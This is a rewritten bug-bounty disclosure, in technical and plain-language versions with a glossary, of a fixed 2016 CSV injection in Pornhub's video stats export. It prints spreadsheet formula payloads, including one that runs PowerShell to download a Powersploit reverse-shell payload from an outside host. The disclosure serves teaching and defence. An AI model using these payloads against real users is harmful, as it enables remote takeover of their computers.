CSV Injection -> Meterpreter on Pornhub
The video stats export function on Pornhub was vulnerable to CSV injection because the '@' character was not blacklisted. An attacker could inject a formula into a video title so that when a victim opened the exported CSV in a spreadsheet, a command such as PowerShell would run on the victim's machine.
This post will discuss an issue I found regarding CSV injection on Pornhub.com, allowing a remote attacker to inject malicious code into video titles resulting in potential full compromise of content creators and other users.
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
Pornhub.com lets content creators and other users manage their uploaded videos, and the video statistics export function produces a spreadsheet file (CSV) of those stats. The feature is meant to be a convenience: you export your stats, open the file in a spreadsheet application, and read the numbers. The report describes what happens when a video title, which is attacker-controlled text, ends up inside that exported file.

The affected URL is pornhub.com. The researcher rated the difficulty as Medium and the risk as High, noting that the high rating reflects the affected user base and locations, and that in a normal situation the issue would be regarded as Medium/Low.
Setup
The report does not describe any special accounts, roles, tools or versions. The precondition is that a video title containing the payload ends up in an exported stats CSV, and that the file is opened in a spreadsheet application that evaluates formulas.
Finding it
The researcher identified that the export video stats function was vulnerable to CSV injection. Spreadsheet applications treat cells beginning with certain characters as formulas, and a formula can invoke external programs. Chaining that with a payload gives client-side remote code execution on the victim's machine.
The researcher also identified that Pornhub takes certain steps to attempt to escape this, but the @ character had been missed from the blacklisted characters, which is what makes the attack possible.
Exploitation
Step 1: Confirm formula execution with a harmless payload
The payload used to achieve the proof of concept is:
@SUM(1+2+3)*cmd|' /C calc'!A0
This launches the calculator when the spreadsheet is downloaded and opened. The leading @ is the character that slipped past the blacklist; the rest of the formula uses the spreadsheet's external-command syntax to run calc.
Step 2: Replace the calculator with a reverse shell
To highlight the risk, the researcher notes that executing calc.exe is not always enough, and does not look as impressive as a meterpreter shell. The following value achieves that:
@SUM(1+2+3)*cmd|'/C powershell IEX(wget 0r.pe/p)'!A0
When the CSV file is opened, PowerShell is launched in the background, which attempts to grab the Powersploit payload of Invoke-Shellcode to attempt a reverse shell connection back to the attacker's server.
Root cause
Pornhub attempted to escape dangerous input in the CSV export, but the blacklist did not include the @ character, so a formula prefixed with @ survived the filter. Pornhub did attempt to escape dangerous input, but the blacklist did not include the @ character, so a formula prefixed with @ survived the filter and was evaluated when the file was opened. The @ character was missed from the blacklisted characters, and that is what makes the attack possible.
Impact
A remote attacker can inject malicious code into video titles, resulting in potential full compromise of content creators and other users. The compromise is client-side: it happens on the machine of whoever downloads and opens the exported stats, and it depends on that person opening the file in a spreadsheet application that evaluates the formula. The researcher's own framing is that the risk is high here because of the affected user base and locations, while the same bug in a normal situation would be regarded as Medium/Low.
Fix
Pornhub closed the report and pushed out a code fix, and the issue has now been fixed. The researcher's recommended remediation is to ensure that video names contain only alpha-numeric characters and cannot be modified to add arbitrary characters. Pornhub have also advised that they will no longer be rewarding for this type of bug.
Variants to test
A positive result is a cell that is evaluated as a formula rather than displayed as text. A positive result is the same formula execution from a field other than the title. A positive result is any character that reaches the CSV unescaped. A positive result is a process launched on the client when the file is opened.
Timeline
- Reported on HackerOne to Pornhub: 22nd June 2016
- Issue marked as informative: 30th June 2016
- Issue publicly disclosed: 4th July 2016
- Issue reopened: 20th July 2016
- Pornhub award $500 bounty: 27th July 2016
- Pornhub push and verify fixed: 27th July 2016
What happened, in plain words
Pornhub is a website where people upload videos. The people who upload are called content creators, and the site lets them export video statistics. The export video stats function lets you download those statistics as a CSV file to open in a spreadsheet program.
A spreadsheet file of this kind is called a CSV file. CSV stands for comma-separated values: it is a plain text file where each line is a row and the values in the row are separated by commas. It is a very simple format that almost every spreadsheet program can open.
The problem the researcher found is that a video title containing a formula can end up in that exported file and be evaluated by the spreadsheet. If someone gives a video a title that starts with a special character, the spreadsheet program does not show that title as text. Instead it treats the cell as a formula, meaning an instruction the spreadsheet should calculate or carry out. Some spreadsheet formulas can start other programs on the computer. So a video title can become a way to run code on the computer of whoever downloads and opens the statistics file.
This class of bug is called CSV injection. The name is a bit like food poisoning: the file itself looks harmless, but something harmful has been mixed into its contents, and it only does damage when someone consumes it. The person who gets hurt is not the website's server but the person sitting at their own computer who opens the file. That is why the report calls it client-side: the client is the visitor's own machine, as opposed to the server, which is the computer that runs the website.
The researcher rated the difficulty as Medium and the risk as High. The high rating is because of the affected user base and locations. The report adds that in a normal situation the same bug would be regarded as Medium or Low.

The affected URL is pornhub.com. The researcher reported it through HackerOne, a platform where security researchers report bugs to companies and companies can pay a reward, called a bounty, for useful reports. The bounty here was $500.
A note at the top of the write-up says that Pornhub advised they will no longer reward this type of bug, and that the issue has since been fixed: Pornhub closed the report and pushed out a code fix.
The timeline, step by step
The report lists the events in order:
- Reported on HackerOne to Pornhub: 22nd June 2016
- Issue marked as informative: 30th June 2016
- Issue publicly disclosed: 4th July 2016
- Issue reopened: 20th July 2016
- Pornhub award $500 bounty: 27th July 2016
- Pornhub push and verify fixed: 27th July 2016
"Marked as informative" means the company first treated the report as useful information rather than as a security bug to be fixed. "Publicly disclosed" means the report became visible to everyone, not just the company and the researcher. "Reopened" means the researcher or the platform brought it back to the company's attention after it had been closed. "Push and verify fixed" means the company released the code change and confirmed the problem was gone.
The short version
The researcher sums the whole thing up in one line: the vulnerability is CSV injection, used to attempt to gain a meterpreter session on a victim's local system. A meterpreter session is a remote-control connection to someone else's computer, the kind of access an attacker dreams of. "Local system" means the victim's own machine, not the website's server.
How the bug was found
The researcher identified that the export video stats function was vulnerable to CSV injection. In other words, the button that downloads your statistics produced a file that could be made to carry a formula. That formula could be chained with a meterpreter payload, resulting in client-side remote code execution: code of the attacker's choosing running on the victim's computer.
A payload, in security language, is the part of an attack that actually does the damage, as opposed to the part that just gets it through the door. Think of a delivery van: the van is the delivery mechanism, the parcel inside is the payload.
Pornhub did try to defend against this. The report says the site takes certain steps to attempt to escape this kind of input. To escape input means to neutralise characters that could be interpreted as instructions, so they are treated as ordinary text. The usual way to do this is a blacklist: a list of characters the site refuses to accept or strips out. The researcher found that the @ character had been missed from that blacklist, and that is what makes the attack possible. A blacklist only works if it is complete; one forgotten character is enough to get through.
Step 1: prove it with the calculator
The first payload used to achieve the proof of concept is:
@SUM(1+2+3)*cmd|' /C calc'!A0
A proof of concept is a small, safe demonstration that a bug is real, rather than just a theory. Here is what each part does:
@SUM(1+2+3)is a formula that adds 1, 2 and 3. It looks like harmless arithmetic, and that is the point: it makes the cell look like a normal formula to the spreadsheet. The leading@is the character that slipped past Pornhub's blacklist.cmdtells the spreadsheet to use the Windows command interpreter, the program that runs commands on a Windows computer.|' /C calc'passes the instruction/C calcto that command interpreter./Cmeans run the command that follows and then stop, andcalcis the Windows calculator program.!A0is spreadsheet syntax that ties the formula to a cell reference, so the spreadsheet accepts it as a valid formula.
The result: when the spreadsheet file is downloaded and opened, the calculator launches. That is a harmless but unmistakable sign that the file made the computer run a program.
Step 2: swap the calculator for a remote-control connection
Running the calculator is not always enough to show how serious a bug is. The researcher notes that it does not look as impressive as a meterpreter shell. So the next payload is:
@SUM(1+2+3)*cmd|'/C powershell IEX(wget 0r.pe/p)'!A0
Again, part by part:
@SUM(1+2+3)is the same harmless-looking formula with the@that gets past the filter.cmdis the Windows command interpreter, as before./C powershelltells it to run PowerShell, a more powerful command-line tool built into Windows.IEX(...)is short for Invoke-Expression, a PowerShell instruction that runs whatever text it is given. It is the equivalent of handing someone a note and having them carry out whatever is written on it.wget 0r.pe/pdownloads a file from the address0r.pe/p.wgetis a tool for fetching things from the internet.!A0is the same cell-reference syntax as before.
When the CSV file is opened, PowerShell is launched in the background. It fetches the file from that address, which the report describes as the Powersploit payload of Invoke-Shellcode, and attempts a reverse shell connection back to the attacker's server. A reverse shell is a connection where the victim's computer reaches out to the attacker rather than the attacker reaching in, which often gets past network defences because outgoing connections look normal. Powersploit is a collection of PowerShell attack tools, and Invoke-Shellcode is one of them, used to run code inside an already-running process.
Why it worked
The root cause is that user-controlled text, the video title, is written into a CSV export without neutralising spreadsheet formula syntax. The site did try to escape dangerous input, but its blacklist did not include the @ character, so a formula starting with @ survived the filter and was evaluated when the file was opened. Because the defence was a list of banned characters rather than a rule about what a title may contain, one missed character was enough to bypass it.
What the impact was
A remote attacker can inject malicious code into video titles, which can lead to full compromise of content creators and other users. The compromise happens on the machine of whoever downloads and opens the exported statistics, and it depends on that person opening the file in a spreadsheet application that evaluates the formula. The researcher's own framing is that the risk is high here because of the affected user base and locations, while the same bug in a normal situation would be regarded as Medium or Low.
How it was fixed
Pornhub closed the report, pushed out a code fix, and the issue is now fixed. The researcher's recommended remediation is to ensure that video names contain only alpha-numeric characters, meaning letters and numbers, and cannot be modified to add arbitrary characters. Pornhub have also advised that they will no longer be rewarding this type of bug.
Other things worth trying
A positive result is a cell that is evaluated as a formula rather than displayed as text. A positive result is the same formula execution from a field other than the title. A positive result is any character that reaches the CSV unescaped. A positive result is a process launched on the client when the file is opened.
Glossary
- API: a way for one piece of software to ask another to do something, like a waiter taking your order to the kitchen.
- Blacklist: a list of things that are forbidden; anything not on the list is allowed through.
- Bounty: a reward a company pays a researcher for reporting a security bug.
- Client-side: happening on the visitor's own computer rather than on the website's server.
- Compromise: a situation where an attacker has gained access to or control over a system or account.
- CSV: comma-separated values, a plain text file format where each line is a row and values are separated by commas, used for spreadsheets.
- CSV injection: a bug where attacker-controlled text placed in a CSV file is treated as a formula by a spreadsheet program when the file is opened.
- Escape: to neutralise special characters in input so they are treated as ordinary text rather than instructions.
- Formula: an instruction inside a spreadsheet cell that the program calculates or carries out, rather than text it simply displays.
- HackerOne: a platform where researchers report bugs to companies and companies can pay bounties.
- Informative: a status meaning a report was treated as useful information rather than as a security bug to fix.
- Invoke-Expression (IEX): a PowerShell instruction that runs whatever text it is given.
- Invoke-Shellcode: a Powersploit tool that runs code inside an already-running process.
- Meterpreter: a remote-control tool that gives an attacker interactive access to a victim's computer.
- Payload: the part of an attack that actually does the damage, as opposed to the part that delivers it.
- PowerShell: a command-line tool built into Windows for running commands and scripts.
- Powersploit: a collection of PowerShell tools used in attacks.
- Proof of concept: a small, safe demonstration that a bug is real.
- Remote code execution: a bug that lets an attacker run their own code on someone else's computer.
- Reverse shell: a connection where the victim's computer reaches out to the attacker, often getting past network defences.
- Server: the computer that runs a website and serves it to visitors.
- Spreadsheet application: a program such as Excel or LibreOffice Calc for working with tables of numbers and formulas.
- URL: the address of a page or resource on the internet, such as
pornhub.com. - wget: a tool for downloading files from the internet.